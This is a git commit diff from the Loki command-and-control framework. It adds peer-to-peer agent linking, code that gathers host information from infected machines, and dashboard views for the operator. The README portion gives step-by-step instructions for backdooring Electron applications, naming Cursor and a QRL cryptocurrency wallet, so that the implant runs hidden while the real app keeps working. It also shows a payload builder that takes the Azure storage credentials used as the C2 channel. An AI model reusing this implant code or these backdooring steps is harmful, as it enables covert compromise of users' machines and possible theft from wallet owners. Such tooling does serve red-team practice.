added link and unlink commands to client and agent. TCP agent to agent linking capabilities added"
@@ -148,9 +148,9 @@ _You don't need to compile the agent when backdooring Electron apps. Just replac
|
||||
```
|
||||
npm install --save-dev javascript-obfuscator
|
||||
```
|
||||
- Run `obfuscateAgent.js` script to create a Loki payload with your Storage Account info
|
||||
- Run `create_agent_payload.js` script to create a Loki payload with your Storage Account info
|
||||
```
|
||||
bobby$ node obfuscateAgent.js
|
||||
bobby$ node create_agent_payload.js
|
||||
[+] Provide Azure storage account information:
|
||||
- Enter Storage Account : 7f7584ty218ba5dba778.blob.core.windows.net
|
||||
- Enter SAS Token : se=2025-05-28T23%3A14%3A48Z&sp=rwdlac&spr=https&sv=2022-11-02&ss=b&srt=sco&sig=5MXQzJ6FDZK8yYiBSgJ6FDZKgQzJMXBSgg6qE4ydrJ6FDZKSgg%3D
|
||||
@@ -191,7 +191,7 @@ bobby$ node obfuscateAgent.js
|
||||
## Backdooring Electron Apps and Keeping the real Application Working as Normal
|
||||
The most straightforward way to use Loki is to replace the files in `{ELECTRONAPP}/resources/app/` with the Loki files. This hollows out the app, meaning the app won't function normally -- Loki replaced its functionality.
|
||||
|
||||
If you really want to keep the Electron application running and have it also deploy Loki in the background all hope is not lost! [John Hammond](https://x.com/_JohnHammond) and I figured out a way to keep the real Electron application running. We've added the file you will need to `/loki/proxyapp/init.js` in this repo.
|
||||
If you really want to keep the Electron application running and have it also deploy Loki in the background all hope is not lost! [John Hammond](https://x.com/_JohnHammond) and I figured out a way to keep the real Electron application running. We've added the file you will need to `/loki/backdoor/init.js` in this repo.
|
||||
|
||||
It is currently setup to work for Cursor, discovered to be vulnerable by [John Hammond](https://x.com/_JohnHammond).
|
||||
|
||||
@@ -199,7 +199,7 @@ For doing this you will need to:
|
||||
- Download the Cursor app
|
||||
- Paste all Loki files except `package.json` to `cursor/resources/app/`
|
||||
- Don't replace the real `package.json`
|
||||
- Copy `/loki/proxyapp/init.js` to `cursor/resources/app/`
|
||||
- Copy `/loki/backdoor/init.js` to `cursor/resources/app/`
|
||||
- Modify contents of `cursor/resources/app/package.json` to:
|
||||
- set `"main":"init.js",`
|
||||
- delete `"type":"module",`
|
||||
|
||||
|
Before Width: | Height: | Size: 319 KiB After Width: | Height: | Size: 319 KiB |
|
Before Width: | Height: | Size: 336 KiB After Width: | Height: | Size: 336 KiB |
|
Before Width: | Height: | Size: 46 KiB After Width: | Height: | Size: 46 KiB |
@@ -1,5 +1,7 @@
|
||||
module.exports = {
|
||||
storageAccount: '',
|
||||
metaContainer: '',
|
||||
sasToken: ''
|
||||
sasToken: '',
|
||||
p2pPort: 0,
|
||||
mode: ''
|
||||
};
|
||||
|
||||
@@ -1,5 +1,6 @@
|
||||
const { ipcRenderer } = require('electron');
|
||||
const { log } = require('console');
|
||||
const os = require('os');
|
||||
|
||||
ipcRenderer.on('make-web-request', async (event, requestOptions) => {
|
||||
try {
|
||||
@@ -210,4 +211,52 @@ ipcRenderer.on('load', async (event, path) => {
|
||||
// // log(`[LOAD] Error stack: ${error.stack}`);
|
||||
ipcRenderer.send('load-complete', `Error: ${error.message}`);
|
||||
}
|
||||
});
|
||||
|
||||
// Add IPC handler for system info requests
|
||||
ipcRenderer.on('get-system-info', async (event, requestId,mode) => {
|
||||
try {
|
||||
const hostname = os.hostname();
|
||||
const username = os.userInfo().username;
|
||||
const osType = os.type();
|
||||
const osRelease = os.release();
|
||||
const platform = os.platform();
|
||||
const arch = os.arch();
|
||||
|
||||
const PID = process.pid;
|
||||
let procName = process.argv[0];
|
||||
procName = procName.trim().replace(/Helper \(Renderer\)/g, "").trim();
|
||||
|
||||
const nets = os.networkInterfaces();
|
||||
const IpInfo = [];
|
||||
for (const name of Object.keys(nets)) {
|
||||
for (const net of nets[name]) {
|
||||
// 'IPv4' is in Node <= 17, from 18 it's a number 4 or 6
|
||||
const familyV4Value = typeof net.family === 'string' ? 'IPv4' : 4;
|
||||
if (net.family === familyV4Value && !net.internal) {
|
||||
IpInfo.push(net.address);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Create a JSON object with the collected information
|
||||
const systemInfo = {
|
||||
hostname: hostname,
|
||||
username: username,
|
||||
osType: osType,
|
||||
osRelease: osRelease,
|
||||
platform: platform,
|
||||
arch: arch,
|
||||
PID: PID,
|
||||
Process: procName,
|
||||
IP: IpInfo,
|
||||
mode: mode
|
||||
};
|
||||
|
||||
// Send the response back to main process
|
||||
ipcRenderer.send(`system-info-response-${requestId}`, systemInfo);
|
||||
} catch (error) {
|
||||
console.error('Error getting system info:', error);
|
||||
ipcRenderer.send(`system-info-response-${requestId}`, 0);
|
||||
}
|
||||
});
|
||||
@@ -6,7 +6,7 @@ For doing this you will need to:
|
||||
- Download the QRLWallet app
|
||||
- Paste all Loki files except `package.json` to `QRL\app-1.8.1\resources\app`
|
||||
- Don't replace the real `package.json`
|
||||
- Copy `/loki/proxyapp/QRLWallet/init.js` to `QRL\app-1.8.1\resources\app`
|
||||
- Copy `/loki/backdoor/QRLWallet/init.js` to `QRL\app-1.8.1\resources\app`
|
||||
- Modify contents of `QRL\app-1.8.1\resources\app\package.json` to:
|
||||
- set `"main":"init.js",`
|
||||
|
||||
@@ -84,6 +84,8 @@ const commandDetails = [
|
||||
{ name: "assembly", help: "Execute a .NET assembly and get command output\r\n\tassembly [local_path] [arg1] [arg2] ..\r\n\tassembly /operator/src/assembly arg1 arg2 arg3..\r\n" },
|
||||
{ name: "upload", help: "Upload a file from your local operator box to the remote agent box\r\n\tupload [local_path] [remote_path]\r\n\tupload /operator/src/file /agent/dst/file\r\n" },
|
||||
{ name: "download", help: "Download a file from remote agent box to local operator box /\r\n\tdownload [remote_path]\r\n\tdownload /agent/src/file\r\n\t- Get from View > Downloads\r\n" },
|
||||
{ name: "link", help: "Peer-to-peer connect to a Loki TCP agent\r\n\tlink <hostname> <port>\r\n\tlink localhost 3000\r\n" },
|
||||
{ name: "unlink", help: "Disconnect from a Loki TCP agent\r\n\tunlink <hostname>\r\n\tunlink localhost\r\n" },
|
||||
//{ name: "socks", help: "socks <url> \r\n" +
|
||||
// " - Connect to a SOCKS5 server.\r\n" +
|
||||
// " Examples:\r\n" +
|
||||
|
||||
|
After Width: | Height: | Size: 1.3 KiB |
|
After Width: | Height: | Size: 1.5 KiB |
|
Before Width: | Height: | Size: 1.1 MiB After Width: | Height: | Size: 2.1 MiB |
@@ -161,18 +161,21 @@ async function updateDashboardTable()
|
||||
else{
|
||||
thisAgent = new Agent();
|
||||
thisAgent.agentid = agentMetaBlob;
|
||||
thisAgent.aes = await getContainerAesKeys(thisAgent.agentid);
|
||||
const [aesKeys, links] = await getContainerAesKeys(thisAgent.agentid);
|
||||
thisAgent.aes = aesKeys;
|
||||
thisAgent.links = links;
|
||||
if(thisAgent.aes == null){ continue; }
|
||||
let metaAgentResponse = await readBlob(global.config.metaContainer,agentMetaBlob);
|
||||
if(metaAgentResponse.status != 200 || metaAgentResponse.response.data == null){ continue; }
|
||||
thisAgent.container = metaAgentResponse.data;
|
||||
thisAgent.blobs = await getContainerBlobs(thisAgent.container);
|
||||
if(thisAgent.blobs == null ){ continue; }
|
||||
let checkinData = await checkinContainer(thisAgent.container, thisAgent.aes, thisAgent.blobs);
|
||||
let checkinData = await checkinContainer(thisAgent.container, thisAgent.aes, thisAgent.blobs);
|
||||
if(checkinData == null){ continue; }
|
||||
try {
|
||||
if (typeof checkinData === 'string') { agentObj = JSON.parse(checkinData); } else { continue; }
|
||||
} catch (error) { continue; }
|
||||
log(`agentObj : ${JSON.stringify(agentObj)}`);
|
||||
thisAgent.hostname = agentObj.hostname;
|
||||
thisAgent.IP = agentObj.IP;
|
||||
thisAgent.osRelease = agentObj.osRelease;
|
||||
@@ -182,10 +185,14 @@ async function updateDashboardTable()
|
||||
thisAgent.Process = agentObj.Process;
|
||||
thisAgent.username = agentObj.username;
|
||||
thisAgent.arch = agentObj.arch;
|
||||
thisAgent.mode = agentObj.mode;
|
||||
if (global.haltUpdate == false) { global.agents.push(thisAgent); }
|
||||
}
|
||||
let checkinBlobLastModified = await getBlobLastModified(global.config.metaContainer,agentMetaBlob);
|
||||
const timestamp = new Date(checkinBlobLastModified).getTime();
|
||||
if(!timestamp){
|
||||
return 0;
|
||||
}
|
||||
thisAgent.checkin = timestamp;
|
||||
agentcheckins.push(thisAgent);
|
||||
}catch(error)
|
||||
@@ -395,7 +402,8 @@ async function getContainerAesKeys(agentid)
|
||||
'key':JSON.parse(aes_key),
|
||||
'iv': JSON.parse(aes_iv)
|
||||
}
|
||||
return key;
|
||||
const links = response.response.headers["x-ms-meta-link"];
|
||||
return [key,links];
|
||||
} catch (error) {
|
||||
console.error(`[AESKEYS][!] Error getting aes keys for agent ${agentid}:`, error.message, error.stack);
|
||||
return null;
|
||||
@@ -405,8 +413,8 @@ async function getContainerAesKeys(agentid)
|
||||
async function checkinContainer(containerName, aes, blobs)
|
||||
{
|
||||
try {
|
||||
log(`checkinContainer() | containerName : ${containerName}`);
|
||||
log(`checkinContainer() | aes : ${JSON.stringify(aes)}`);
|
||||
//log(`checkinContainer() | containerName : ${containerName}`);
|
||||
//log(`checkinContainer() | aes : ${JSON.stringify(aes)}`);
|
||||
const aes_key_bytes = Buffer.from(aes['key'], 'hex');
|
||||
const aes_iv_bytes = Buffer.from(aes['iv'], 'hex');
|
||||
let checkin = await readBlob(containerName, blobs['checkin']);
|
||||
@@ -420,7 +428,7 @@ async function checkinContainer(containerName, aes, blobs)
|
||||
return dec_checkin;
|
||||
}
|
||||
} catch (error) {
|
||||
console.error(`Error connecting to container ${containerName}:`, error.message);
|
||||
//console.error(`Error connecting to container ${containerName}:`, error.message);
|
||||
return null;
|
||||
}
|
||||
}
|
||||
|
||||
@@ -102,6 +102,7 @@ tr > td {
|
||||
<th data-column="ip">IP <span class="arrow" id="ipArrow"></span></th>
|
||||
<th data-column="arch">Arch <span class="arrow" id="archArrow"></span></th>
|
||||
<th data-column="platform">Platform <span class="arrow" id="platformArrow"></span></th>
|
||||
<th data-column="mode">Mode <span class="arrow" id="modeArrow"></span></th>
|
||||
<th data-column="checkin">Checkin <span class="arrow" id="checkinArrow"></span></th>
|
||||
</tr>
|
||||
</thead>
|
||||
|
||||
@@ -61,30 +61,78 @@ window.addEventListener('DOMContentLoaded', () => {
|
||||
});
|
||||
|
||||
// **Ensure the event fires only once**
|
||||
function handleContextMenu(event) {
|
||||
async function handleContextMenu(event) {
|
||||
event.preventDefault();
|
||||
log("Right-click detected on table row");
|
||||
if(tableinit === true)
|
||||
{
|
||||
let row = event.target.closest("tr");
|
||||
log(`row : ${JSON.stringify(row)}`);
|
||||
if (!row || row.rowIndex === 0) return;
|
||||
log(`event : ${JSON.stringify(event)}`);
|
||||
if(tableinit === true) {
|
||||
let row = event.target.closest("tr");
|
||||
log(`row : ${JSON.stringify(row)}`);
|
||||
if (!row || row.rowIndex === 0) return;
|
||||
|
||||
let agentData = {
|
||||
agentid: row.cells[0]?.textContent || '',
|
||||
containerid: row.cells[1]?.textContent || '',
|
||||
hostname: row.cells[2]?.textContent || '',
|
||||
username: row.cells[3]?.textContent || '',
|
||||
fileName: row.cells[4]?.textContent || '',
|
||||
PID: row.cells[5]?.textContent || '',
|
||||
IP: row.cells[6]?.textContent || '',
|
||||
arch: row.cells[7]?.textContent || '',
|
||||
platform: row.cells[8]?.textContent || ''
|
||||
};
|
||||
log(`agentData : ${JSON.stringify(agentData)}`);
|
||||
// Get the agentid for the clicked row
|
||||
let agentid = row.cells[0]?.textContent || '';
|
||||
|
||||
// Get links for this agent
|
||||
let links = await ipcRenderer.invoke('get-agent-links', agentid);
|
||||
log(`[DASHBOARD] links : ${links}`);
|
||||
|
||||
ipcRenderer.send('show-row-context-menu', JSON.stringify(agentData));
|
||||
}
|
||||
// Create array to store all agent data
|
||||
let allAgentData = [];
|
||||
|
||||
// Get data for the clicked agent
|
||||
let clickedAgentData = {
|
||||
agentid: agentid,
|
||||
containerid: row.cells[1]?.textContent || '',
|
||||
hostname: row.cells[2]?.textContent || '',
|
||||
username: row.cells[3]?.textContent || '',
|
||||
fileName: row.cells[4]?.textContent || '',
|
||||
PID: row.cells[5]?.textContent || '',
|
||||
IP: row.cells[6]?.textContent || '',
|
||||
arch: row.cells[7]?.textContent || '',
|
||||
platform: row.cells[8]?.textContent || '',
|
||||
mode: row.cells[9]?.textContent || '',
|
||||
links: links
|
||||
};
|
||||
allAgentData.push(clickedAgentData);
|
||||
|
||||
// If there are links, get data for each linked agent
|
||||
if (links) {
|
||||
let linkedAgentIds = links.split(',');
|
||||
for (let linkedAgentId of linkedAgentIds) {
|
||||
linkedAgentId = linkedAgentId.trim();
|
||||
// Skip if this is the same as the clicked agent
|
||||
if (linkedAgentId === agentid) {
|
||||
continue;
|
||||
}
|
||||
|
||||
// Find the row for this linked agent
|
||||
let table = document.getElementById('containerTable').getElementsByTagName('tbody')[0];
|
||||
for (let tableRow of table.rows) {
|
||||
if (tableRow.cells[0].textContent === linkedAgentId) {
|
||||
let linkedAgentData = {
|
||||
agentid: linkedAgentId,
|
||||
containerid: tableRow.cells[1]?.textContent || '',
|
||||
hostname: tableRow.cells[2]?.textContent || '',
|
||||
username: tableRow.cells[3]?.textContent || '',
|
||||
fileName: tableRow.cells[4]?.textContent || '',
|
||||
PID: tableRow.cells[5]?.textContent || '',
|
||||
IP: tableRow.cells[6]?.textContent || '',
|
||||
arch: tableRow.cells[7]?.textContent || '',
|
||||
platform: tableRow.cells[8]?.textContent || '',
|
||||
mode: tableRow.cells[9]?.textContent || '',
|
||||
links: await ipcRenderer.invoke('get-agent-links', linkedAgentId)
|
||||
};
|
||||
allAgentData.push(linkedAgentData);
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
log(`allAgentData : ${JSON.stringify(allAgentData)}`);
|
||||
ipcRenderer.send('show-row-context-menu', JSON.stringify(allAgentData));
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
@@ -120,40 +168,11 @@ window.addEventListener('DOMContentLoaded', async () => {
|
||||
table.removeEventListener('contextmenu', handleContextMenu);
|
||||
log("Adding event listener context menu");
|
||||
table.addEventListener('contextmenu', handleContextMenu);
|
||||
|
||||
// async function initTable() {
|
||||
// try {
|
||||
// let agentinit = null;
|
||||
// while(agentinit == null)
|
||||
// {
|
||||
// agentinit = await ipcRenderer.invoke('preload-agents');
|
||||
// await new Promise(resolve => setTimeout(resolve, 3000));
|
||||
// }
|
||||
|
||||
// let agents = JSON.parse(agentinit);
|
||||
|
||||
// agents.forEach(agent => {
|
||||
// let thisrow = updateOrAddRow(agent);
|
||||
// thisrow.cells[0].textContent = agent.agentid;
|
||||
// thisrow.cells[1].textContent = agent.containerid;
|
||||
// thisrow.cells[2].textContent = '';
|
||||
// thisrow.cells[3].textContent = '';
|
||||
// thisrow.cells[4].textContent = '';
|
||||
// thisrow.cells[5].textContent = '';
|
||||
// thisrow.cells[6].textContent = '';
|
||||
// thisrow.cells[7].textContent = '';
|
||||
// thisrow.cells[8].textContent = '';
|
||||
// });
|
||||
// } catch (error) {
|
||||
// logMain(`Error in index.js initTable() updating table: ${error} ${error.stack}`);
|
||||
// }
|
||||
// }
|
||||
|
||||
async function updateTable() {
|
||||
try {
|
||||
let agentcheckins;
|
||||
agentcheckins = await ipcRenderer.invoke('get-containers');
|
||||
const table = document.getElementById('containerTable'); // Ensure this matches your table ID
|
||||
if (agentcheckins != 0) {
|
||||
const agents = JSON.parse(agentcheckins);
|
||||
let agent_index = 0;
|
||||
@@ -194,7 +213,8 @@ window.addEventListener('DOMContentLoaded', async () => {
|
||||
thisrow.cells[6].textContent = agent.IP;
|
||||
thisrow.cells[7].textContent = agent.arch;
|
||||
thisrow.cells[8].textContent = platformName; // Set formatted platform name
|
||||
thisrow.cells[9].textContent = timeDifference(agent.checkin);
|
||||
thisrow.cells[9].textContent = agent.mode;
|
||||
thisrow.cells[10].textContent = timeDifference(agent.checkin);
|
||||
thisrow.replaceWith(thisrow.cloneNode(true)); // Remove previous listeners
|
||||
let table = document.getElementById('containerTable').getElementsByTagName('tbody')[0];
|
||||
for (let row of table.rows) {
|
||||
@@ -248,6 +268,7 @@ window.addEventListener('DOMContentLoaded', async () => {
|
||||
thisRow.insertCell(7);
|
||||
thisRow.insertCell(8);
|
||||
thisRow.insertCell(9);
|
||||
thisRow.insertCell(10); // Add cell for check-in time
|
||||
}
|
||||
return thisRow;
|
||||
}catch(error)
|
||||
|
||||
@@ -187,7 +187,7 @@ ipcMain.handle('updateagent', async (event, agentid,newcontainerid) => {
|
||||
{
|
||||
const newcontainer_blobs = await az.getContainerBlobs(newcontainerid);
|
||||
console.log(`${newcontainerid} container key blob : ${newcontainer_blobs['key']}`);
|
||||
const container_key = await az.getContainerAesKeys(agentid);
|
||||
let container_key,links = await az.getContainerAesKeys(agentid);
|
||||
let checkinData = await az.checkinContainer(newcontainerid, container_key,newcontainer_blobs);
|
||||
let agentObj = JSON.parse(checkinData);
|
||||
agentObj.agentid = agentid;
|
||||
@@ -237,6 +237,23 @@ ipcMain.on('upload-client-command-to-input-channel', async (event, agent_object)
|
||||
}
|
||||
});
|
||||
|
||||
ipcMain.handle('get-agent-links', async (event, agentid) => {
|
||||
try {
|
||||
console.log(`[KERNEL][IPC] get-agent-links : ${agentid}`);
|
||||
if(agentid == 0 || agentid == null || agentid == undefined || agentid == '')
|
||||
{
|
||||
return 0;
|
||||
}
|
||||
const [aesKeys, links] = await az.getContainerAesKeys(agentid);
|
||||
const agentlinks = links;
|
||||
console.log(`[KERNEL][IPC] get-agent-links : ${agentlinks}`);
|
||||
return agentlinks;
|
||||
} catch (error) {
|
||||
console.error('Error getting agent links:', error);
|
||||
return 0;
|
||||
}
|
||||
});
|
||||
|
||||
ipcMain.on('pull-download-file', async (event, agent_object, filename, blob) => {
|
||||
try {
|
||||
if (filename.startsWith("'") && filename.endsWith("'")) {
|
||||
@@ -389,15 +406,15 @@ app.whenReady().then(() => {
|
||||
]);
|
||||
Menu.setApplicationMenu(menu);
|
||||
// Handle right-click context menu for table rows
|
||||
ipcMain.on('show-row-context-menu', (event, agentDataJSON) => {
|
||||
let agentData = JSON.parse(agentDataJSON);
|
||||
const agentid = agentData.agentid;
|
||||
ipcMain.on('show-row-context-menu', (event, agentsDataJSON) => {
|
||||
let agentsData = JSON.parse(agentsDataJSON);
|
||||
console.log(`[RIGHT-CLICK] agentsData : ${JSON.stringify(agentsData)}`);
|
||||
const agentid = agentsData[0].agentid;
|
||||
const contextMenu = Menu.buildFromTemplate([
|
||||
{
|
||||
label: 'Remove',
|
||||
click: async () => {
|
||||
try {
|
||||
console.log(`IPC show-row-context-menu : AgentData : ${agentDataJSON}`);
|
||||
global.haltUpdate = true;
|
||||
|
||||
// Handle agent window cleanup
|
||||
@@ -437,8 +454,8 @@ ipcMain.on('show-row-context-menu', (event, agentDataJSON) => {
|
||||
}
|
||||
// Handle storage cleanup
|
||||
try {
|
||||
await az.DeleteStorageBlob(global.config.metaContainer, agentData.agentid);
|
||||
await az.DeleteStorageContainer(agentData.containerid);
|
||||
await az.DeleteStorageBlob(global.config.metaContainer, agentid);
|
||||
await az.DeleteStorageContainer(agentsData[0].containerid);
|
||||
|
||||
if (global.dashboardWindow) {
|
||||
console.log(`dashboardWindow exists`);
|
||||
@@ -461,7 +478,61 @@ ipcMain.on('show-row-context-menu', (event, agentDataJSON) => {
|
||||
label: 'Explorer',
|
||||
click: () => {
|
||||
console.log(`Explorer clicked for agent ID: ${agentid}`);
|
||||
createExplorerWindow(agentDataJSON);
|
||||
createExplorerWindow(JSON.stringify(agentsData[0]));
|
||||
}
|
||||
},
|
||||
{
|
||||
label: 'Links',
|
||||
visible: agentsData[0].mode && agentsData[0].mode.startsWith('link'),
|
||||
click: () => {
|
||||
console.log(`Links clicked for agent ID: ${agentid}`);
|
||||
const primaryDisplay = screen.getPrimaryDisplay();
|
||||
const { width: screenWidth, height: screenHeight } = primaryDisplay.workAreaSize;
|
||||
console.log(`Screen dimensions - Width: ${screenWidth}, Height: ${screenHeight}`);
|
||||
|
||||
// Calculate window dimensions
|
||||
const numAgents = agentsData.length + 1; // Add 1 for the Azure storage card
|
||||
const headerHeight = 150; // Height for window title bar and header
|
||||
const heightPerAgent = 528; // Height per agent card
|
||||
const arrowSpacing = 10; // Space between arrow and next card
|
||||
const calculatedHeight = headerHeight + (numAgents * heightPerAgent) + ((numAgents - 1) * arrowSpacing);
|
||||
const maxHeight = Math.floor(screenHeight * 0.9);
|
||||
console.log(`Calculated height: ${calculatedHeight}, Max height: ${maxHeight}`);
|
||||
|
||||
const totalHeight = Math.min(calculatedHeight, maxHeight);
|
||||
const width = Math.min(
|
||||
Math.max(600, screenWidth * 0.6),
|
||||
800
|
||||
);
|
||||
|
||||
const linksWindow = new BrowserWindow({
|
||||
width: width,
|
||||
height: totalHeight,
|
||||
minWidth: 600,
|
||||
minHeight: 400,
|
||||
webPreferences: {
|
||||
contextIsolation: false,
|
||||
nodeIntegration: true
|
||||
}
|
||||
});
|
||||
linksWindow.loadFile('links.html');
|
||||
linksWindow.webContents.on('did-finish-load', () => {
|
||||
// Add Azure storage account info to the agentsData
|
||||
const azureData = {
|
||||
hostname: global.config.storageAccount,
|
||||
platform: "Azure Storage Account",
|
||||
username: "",
|
||||
fileName: "",
|
||||
containerid: "",
|
||||
IP: "",
|
||||
PID: "",
|
||||
arch: "",
|
||||
mode: "",
|
||||
agentid: ""
|
||||
};
|
||||
agentsData.push(azureData);
|
||||
linksWindow.webContents.send('agent-links', agentsData);
|
||||
});
|
||||
}
|
||||
}
|
||||
]);
|
||||
|
||||
@@ -0,0 +1,293 @@
|
||||
<!DOCTYPE html>
|
||||
<html>
|
||||
<head>
|
||||
<title>Agent Links</title>
|
||||
<style>
|
||||
body {
|
||||
font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, Oxygen, Ubuntu, Cantarell, 'Open Sans', 'Helvetica Neue', sans-serif;
|
||||
background-color: #1a1a1a;
|
||||
color: #ffffff;
|
||||
margin: 0;
|
||||
padding: 20px;
|
||||
height: 100vh;
|
||||
box-sizing: border-box;
|
||||
}
|
||||
|
||||
.container {
|
||||
max-width: 800px;
|
||||
margin: 0 auto;
|
||||
}
|
||||
|
||||
.header {
|
||||
margin-bottom: 20px;
|
||||
padding-bottom: 10px;
|
||||
border-bottom: 1px solid #333;
|
||||
}
|
||||
|
||||
.header h1 {
|
||||
margin: 0;
|
||||
font-size: 24px;
|
||||
color: #00ff00;
|
||||
}
|
||||
|
||||
.links-container {
|
||||
background-color: #222;
|
||||
border-radius: 8px;
|
||||
padding: 15px;
|
||||
box-shadow: 0 2px 4px rgba(0, 0, 0, 0.2);
|
||||
}
|
||||
|
||||
.link-item {
|
||||
background-color: #2a2a2a;
|
||||
border: 1px solid #333;
|
||||
border-radius: 4px;
|
||||
padding: 12px;
|
||||
margin-bottom: 10px;
|
||||
transition: all 0.3s ease;
|
||||
}
|
||||
|
||||
.link-header {
|
||||
display: flex;
|
||||
justify-content: space-between;
|
||||
align-items: center;
|
||||
margin-bottom: 8px;
|
||||
}
|
||||
|
||||
.link-title {
|
||||
font-weight: bold;
|
||||
text-align: left;
|
||||
}
|
||||
|
||||
.link-item.windows .link-title {
|
||||
color: #0078D4;
|
||||
}
|
||||
|
||||
.link-item.linux .link-title {
|
||||
color: #FCC624;
|
||||
}
|
||||
|
||||
.link-item.macos .link-title {
|
||||
color: #fff;
|
||||
}
|
||||
|
||||
.link-item.azure .link-title {
|
||||
color: #d500f9;
|
||||
}
|
||||
|
||||
.link-status {
|
||||
padding: 4px 8px;
|
||||
border-radius: 4px;
|
||||
font-size: 12px;
|
||||
font-weight: bold;
|
||||
}
|
||||
|
||||
.status-active {
|
||||
background-color: #1a472a;
|
||||
color: #00ff00;
|
||||
}
|
||||
|
||||
.status-inactive {
|
||||
background-color: #472a1a;
|
||||
color: #ff0000;
|
||||
}
|
||||
|
||||
.link-details {
|
||||
display: grid;
|
||||
grid-template-columns: 1fr 1.5fr 1fr 1.5fr;
|
||||
gap: 8px 16px;
|
||||
font-size: 14px;
|
||||
margin-top: 8px;
|
||||
}
|
||||
|
||||
.detail-label {
|
||||
color: #aaa;
|
||||
font-size: 13px;
|
||||
text-align: right;
|
||||
padding-right: 8px;
|
||||
}
|
||||
|
||||
.detail-value {
|
||||
color: #fff;
|
||||
font-size: 14px;
|
||||
text-align: left;
|
||||
}
|
||||
|
||||
.link-actions {
|
||||
margin-top: 10px;
|
||||
display: flex;
|
||||
gap: 10px;
|
||||
}
|
||||
|
||||
.action-button {
|
||||
background-color: #333;
|
||||
border: 1px solid #444;
|
||||
color: #fff;
|
||||
padding: 6px 12px;
|
||||
border-radius: 4px;
|
||||
cursor: pointer;
|
||||
transition: all 0.2s ease;
|
||||
}
|
||||
|
||||
.action-button:hover {
|
||||
background-color: #444;
|
||||
border-color: #00ff00;
|
||||
}
|
||||
|
||||
.no-links {
|
||||
text-align: center;
|
||||
padding: 20px;
|
||||
color: #666;
|
||||
font-style: italic;
|
||||
}
|
||||
|
||||
.platform-icon {
|
||||
width: 24px;
|
||||
height: 24px;
|
||||
object-fit: contain;
|
||||
vertical-align: middle;
|
||||
margin-right: 8px;
|
||||
}
|
||||
|
||||
/* Platform-specific themes */
|
||||
.link-item.windows {
|
||||
border-left: 4px solid #0078D4;
|
||||
background-color: rgba(0, 120, 212, 0.13);
|
||||
}
|
||||
.link-item.windows:hover {
|
||||
background-color: rgba(0, 120, 212, 0.20);
|
||||
border-color: #0078D4;
|
||||
}
|
||||
.link-item.linux {
|
||||
border-left: 4px solid #FCC624;
|
||||
background-color: rgba(252, 198, 36, 0.13);
|
||||
}
|
||||
.link-item.linux:hover {
|
||||
background-color: rgba(252, 198, 36, 0.20);
|
||||
border-color: #FCC624;
|
||||
}
|
||||
.link-item.macos {
|
||||
border-left: 4px solid #fff;
|
||||
background-color: rgba(255,255,255,0.13);
|
||||
}
|
||||
.link-item.macos:hover {
|
||||
background-color: rgba(255,255,255,0.15);
|
||||
border-color: #fff;
|
||||
}
|
||||
.link-item.azure {
|
||||
border-left: 4px solid #d500f9;
|
||||
background-color: rgba(213, 0, 249, 0.13);
|
||||
}
|
||||
.link-item.azure:hover {
|
||||
background-color: rgba(213, 0, 249, 0.15);
|
||||
border-color: #d500f9;
|
||||
}
|
||||
.arrow-container {
|
||||
display: flex;
|
||||
justify-content: center;
|
||||
align-items: center;
|
||||
margin: -5px 0 10px 0;
|
||||
}
|
||||
.arrow {
|
||||
color: #fff;
|
||||
font-size: 24px;
|
||||
line-height: 1;
|
||||
text-align: center;
|
||||
}
|
||||
</style>
|
||||
</head>
|
||||
<body>
|
||||
<div class="container">
|
||||
<div class="links-container" id="linksContainer">
|
||||
<div class="no-links">Loading links...</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<script>
|
||||
const { ipcRenderer } = require('electron');
|
||||
|
||||
ipcRenderer.on('agent-links', (event, agentsData) => {
|
||||
const container = document.getElementById('linksContainer');
|
||||
if (!agentsData || agentsData.length === 0) {
|
||||
container.innerHTML = '<div class="no-links">No links available</div>';
|
||||
return;
|
||||
}
|
||||
|
||||
let html = '';
|
||||
agentsData.forEach((agent, index) => {
|
||||
// Platform icon logic
|
||||
let platformIcon = '';
|
||||
let platformKey = agent.platform || '';
|
||||
if (platformKey.toLowerCase().includes('mac')) platformKey = 'macOS';
|
||||
if (platformKey.toLowerCase().includes('darwin')) platformKey = 'macOS';
|
||||
if (platformKey.toLowerCase().includes('windows')) platformKey = 'Windows';
|
||||
if (platformKey.toLowerCase().includes('linux')) platformKey = 'Linux';
|
||||
if (platformKey.toLowerCase().includes('azure')) platformKey = 'Azure Storage Account';
|
||||
if (PLATFORM_ICONS[platformKey]) {
|
||||
platformIcon = `<img src="${PLATFORM_ICONS[platformKey]}" class="platform-icon" alt="${agent.platform} icon">`;
|
||||
}
|
||||
// Platform class for color theme
|
||||
let platformClass = '';
|
||||
if (platformKey === 'Windows') platformClass = 'windows';
|
||||
else if (platformKey === 'Linux') platformClass = 'linux';
|
||||
else if (platformKey === 'macOS') platformClass = 'macos';
|
||||
else if (platformKey === 'Azure Storage Account') platformClass = 'azure';
|
||||
// Azure card: only show hostname and platform
|
||||
if (platformKey === 'Azure Storage Account') {
|
||||
html += `
|
||||
<div class="link-item ${platformClass}">
|
||||
<div class="link-header">
|
||||
${platformIcon}
|
||||
<span class="link-title">${agent.hostname || 'Azure Storage'}</span>
|
||||
</div>
|
||||
<div class="link-details">
|
||||
<span class="detail-label">Platform</span>
|
||||
<span class="detail-value">Azure Storage Account</span>
|
||||
</div>
|
||||
</div>
|
||||
`;
|
||||
} else {
|
||||
html += `
|
||||
<div class="link-item ${platformClass}">
|
||||
<div class="link-header">
|
||||
${platformIcon}
|
||||
<span class="link-title">${agent.hostname || agent.agentid || 'Unnamed Agent'}</span>
|
||||
</div>
|
||||
<div class="link-details">
|
||||
<span class="detail-label">Agent ID</span><span class="detail-value">${agent.agentid || ''}</span>
|
||||
<span class="detail-label">Container</span><span class="detail-value">${agent.containerid || ''}</span>
|
||||
<span class="detail-label">Username</span><span class="detail-value">${agent.username || ''}</span>
|
||||
<span class="detail-label">Process</span><span class="detail-value">${agent.fileName || ''}</span>
|
||||
<span class="detail-label">PID</span><span class="detail-value">${agent.PID || ''}</span>
|
||||
<span class="detail-label">IP</span><span class="detail-value">${agent.IP || ''}</span>
|
||||
<span class="detail-label">Architecture</span><span class="detail-value">${agent.arch || ''}</span>
|
||||
<span class="detail-label">Mode</span><span class="detail-value">${agent.mode || ''}</span>
|
||||
